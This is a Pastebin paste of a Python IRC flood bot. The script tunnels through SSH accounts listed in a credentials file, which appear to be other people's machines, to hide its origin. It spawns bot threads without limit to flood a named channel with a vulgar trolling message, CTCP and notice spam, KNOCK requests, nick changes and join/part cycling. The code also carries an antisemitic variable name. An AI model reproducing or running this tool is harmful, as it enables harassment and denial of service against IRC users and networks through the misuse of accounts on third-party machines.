Advertisement
Guest User

Untitled

a guest
May 12th, 2017
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.53 KB | None | 0 0
  1. #!/usr/bin/python
  2. import os
  3. import sys
  4. import socket
  5. import random
  6. import time
  7. import socks
  8. from threading import Thread
  9.  
  10. network = 'irc.buttes.org'
  11. port = 6667
  12. channel = '#stupid'
  13. message = 'ARRL SUCKS DICK irc.hardchats.com #gnaa'
  14. joinpart = 1
  15. nickspam = 1
  16.  
  17. accounts = 'accounts.txt'
  18. baseport = 9050
  19. maxletters = 7
  20. alphabet = 'qwertyuiopasdfghjklzxcvbnm'
  21. acctfile = open(accounts,'r')
  22. lines=0
  23. ssh_pid = 0
  24. for line in acctfile:
  25.   ssh_data = line
  26.   ssh_exploded = ssh_data.split(',')
  27.   ssh_host = ssh_exploded[0]
  28.   ssh_user = ssh_exploded[1]
  29.   ssh_pass = ssh_exploded[2]
  30.   ssh_port = ssh_exploded[3]
  31.   ssh_pid = os.fork()
  32.   if not ssh_pid:
  33.     os.execlp("/usr/bin/expect","expect","./ssh.exp",ssh_user,ssh_pass,ssh_host,ssh_port.replace("\n",""),str(baseport+lines))
  34.     break
  35.   else:
  36.     lines += 1
  37. if ssh_pid:
  38.   acctfile.close()
  39.  
  40. class bot(Thread):
  41.   def __init__ (self,seed):
  42.     Thread.__init__(self)
  43.     self.seed = seed
  44.  
  45.   def lrecv(self):
  46.     c, s = '', ''
  47.     while c != '\n':
  48.       c = self.irc.recv(1)
  49.       if c == '':  # connection closed
  50.         break
  51.       s += c
  52.     return s.strip('\r\n')
  53.  
  54.   def run(self):
  55.     nick=''
  56.     self.joined=0
  57.     for x in random.sample(alphabet,random.randint(2,maxletters)):
  58.       nick+=x
  59.     self.irc = socks.socksocket ( socket.AF_INET, socket.SOCK_STREAM )
  60.     self.irc.setproxy( socks.PROXY_TYPE_SOCKS5,"localhost",random.randint(baseport,baseport+lines+1) )
  61.     self.irc.connect ( ( network, port ) )
  62.    
  63.     self.irc.send ( 'USER ' + nick + self.seed + ' ' + nick + self.seed + ' ' + nick + self.seed + ' :' + nick + self.seed + '\r\n' )
  64.     self.irc.send ( 'NICK ' + nick + self.seed + '\r\n' )
  65.     while 1:
  66.       line = self.lrecv()
  67.       if line.find ( '001' ) != -1:
  68.         break
  69.     self.irc.send ( 'JOIN ' + channel + '\r\n' )
  70.     self.spamcount = 0
  71.     while 1:
  72.       data=self.lrecv()
  73.       if data.find ( 'PING' ) != -1:
  74.         self.irc.send ( 'PONG ' + data.split() [ 1 ] + '\r\n' )
  75.       if data.find ( '404' ) != -1:
  76.         self.joined = 0
  77.       if data.find ( 'invite' ) != -1:
  78.         self.irc.send ( 'KNOCK ' + channel + ' :' + message + '\007\r\n' )
  79.         time.sleep ( .5 )
  80.       if data.find ( 'nickspam' ) != -1:
  81.         nickspam = 1
  82.       if data.find ( 'joinpart' ) != -1:
  83.         joinpart = 1
  84.       if data.find ( 'stopnickspam' ) != -1:
  85.         nickspam = 0
  86.       if data.find ( 'stopjoinpart' ) != -1:
  87.         joinpart = 0
  88.       if self.joined == 0:
  89.         self.irc.send ( 'JOIN ' + channel + '\r\n' )
  90.         self.joined = 1
  91.         time.sleep ( .5 )
  92.       if self.joined == 1:
  93.         self.spamcount += 1
  94.         loljews = random.randint(1,3)
  95.         if loljews == 1:
  96.           self.irc.send ( 'PRIVMSG ' + channel + ' :' + message + '\007\r\n' )
  97.         if loljews == 2:
  98.           self.irc.send ( 'NOTICE ' + channel + ' :' + message + '\007\r\n' )
  99.         if loljews == 3:
  100.           self.irc.send ( 'PRIVMSG ' + channel + ' :\001VERSION ' + message + '\007\r\n' )
  101.         if self.spamcount == 5:
  102.           if nickspam == 1:
  103.             nick=''
  104.             for x in random.sample(alphabet,random.randint(2,maxletters)):
  105.               nick+=x
  106.             self.irc.send ( 'NICK ' + nick + str(random.randint(0,9999)) + '\r\n')
  107.           if joinpart == 1:    
  108.             self.irc.send ( 'PART ' + channel + '\r\n' )
  109.             self.joined = 0
  110.           self.spamcount = 0
  111.         time.sleep ( .5 )
  112.  
  113. def spawn():
  114.   while True:
  115.     bot_instance = bot(str(random.randint(1,9999)))
  116.     bot_instance.start()
  117.  
  118. spawn()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement